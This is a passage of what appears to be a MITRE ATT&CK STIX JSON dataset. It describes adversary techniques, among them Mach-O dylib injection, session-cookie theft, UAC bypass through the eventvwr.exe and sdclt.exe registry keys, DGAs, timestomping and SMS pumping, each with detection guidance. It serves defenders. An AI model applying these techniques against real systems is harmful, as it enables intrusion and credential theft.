                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
            "created": "2020-01-24T14:21:52.750Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/006",
                    "external_id": "T1546.006"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T20:37:15.460Z",
            "name": "LC_LOAD_DYLIB Addition",
            "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "Process: Process Creation",
                "File: File Modification",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "created": "2019-10-08T20:04:35.508Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1539",
                    "external_id": "T1539"
                },
                {
                    "source_name": "Krebs Discord Bookmarks 2023",
                    "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                    "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "Kaspersky TajMahal April 2019",
                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
                    "url": "https://securelist.com/project-tajmahal/90240/"
                },
                {
                    "source_name": "Github evilginx2",
                    "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
                    "url": "https://github.com/kgretzky/evilginx2"
                },
                {
                    "source_name": "GitHub Mauraena",
                    "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.",
                    "url": "https://github.com/muraenateam/muraena"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                },
                {
                    "source_name": "Talos Roblox Scam 2023",
                    "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
                    "url": "https://blog.talosintelligence.com/roblox-scam-overview/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:12:39.075Z",
            "name": "Steal Web Session Cookie",
            "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Johann Rehberger",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
            "created": "2021-03-29T17:06:22.247Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/007",
                    "external_id": "T1053.007"
                },
                {
                    "source_name": "Kubernetes CronJob",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"
                },
                {
                    "source_name": "Kubernetes Jobs",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"
                },
                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:07.487Z",
            "name": "Container Orchestration Job",
            "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Center for Threat-Informed Defense (CTID)",
                "Vishwas Manral, McAfee",
                "Yossi Weizman, Azure Defender Research Team"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Container: Container Creation",
                "Scheduled Job: Scheduled Job Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "created": "2020-03-10T17:44:59.787Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568/002",
                    "external_id": "T1568.002"
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:07.610Z",
            "name": "Domain Generation Algorithms",
            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
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            ],
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            "x_mitre_contributors": [
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                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam"
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            "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e",
            "created": "2021-08-04T20:54:03.066Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/007",
                    "external_id": "T1036.007"
                },
                {
                    "source_name": "SOCPrime DoubleExtension",
                    "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.",
                    "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/"
                },
                {
                    "source_name": "PCMag DoubleExtension",
                    "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.",
                    "url": "https://www.pcmag.com/encyclopedia/term/double-extension"
                },
                {
                    "source_name": "Seqrite DoubleExtension",
                    "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.",
                    "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/"
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            "name": "Double File Extension",
            "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "File: File Metadata"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "created": "2020-01-30T14:24:34.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/002",
                    "external_id": "T1548.002"
                },
                {
                    "source_name": "Davidson Windows",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
                },
                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "SANS UAC Bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
                },
                {
                    "source_name": "MSDN COM Elevation",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
                },
                {
                    "source_name": "enigma0x3 Fileless UAC Bypass",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
                },
                {
                    "source_name": "enigma0x3 sdclt app paths",
                    "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"
                },
                {
                    "source_name": "enigma0x3 sdclt bypass",
                    "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
                    "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"
                },
                {
                    "source_name": "TechNet Inside UAC",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
                },
                {
                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                },
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
                }
            ],
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            ],
            "modified": "2025-04-16T20:37:15.662Z",
            "name": "Bypass User Account Control",
            "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
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                    "phase_name": "privilege-escalation"
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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                "Casey Smith"
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            "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Process: Process Creation",
                "Process: Process Metadata"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "created": "2017-05-31T21:31:12.675Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1099",
                    "external_id": "T1099"
                },
                {
                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
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            "modified": "2025-04-25T15:15:10.626Z",
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            "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "created": "2024-09-25T13:53:19.586Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/003",
                    "external_id": "T1496.003"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "Twilio SMS Pumping",
                    "description": "Twilio. (2024, April 10). What Is SMS Pumping Fraud and How to Stop It. Retrieved September 25, 2024.",
                    "url": "https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions"
                },
                {
                    "source_name": "Twilio SMS Pumping Fraud",
                    "description": "Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.",
                    "url": "https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud"
                }
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            "modified": "2025-04-15T23:02:00.718Z",
            "name": "SMS Pumping",
            "description": "Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability.(Citation: Twilio SMS Pumping) SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim\u2019s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider.(Citation: Twilio SMS Pumping Fraud)\n\nThreat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.(Citation: Twilio SMS Pumping)",
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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            "x_mitre_impact_type": [
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            "created": "2021-03-17T15:28:10.689Z",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1016/001",
                    "external_id": "T1016.001"
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            "object_marking_refs": [
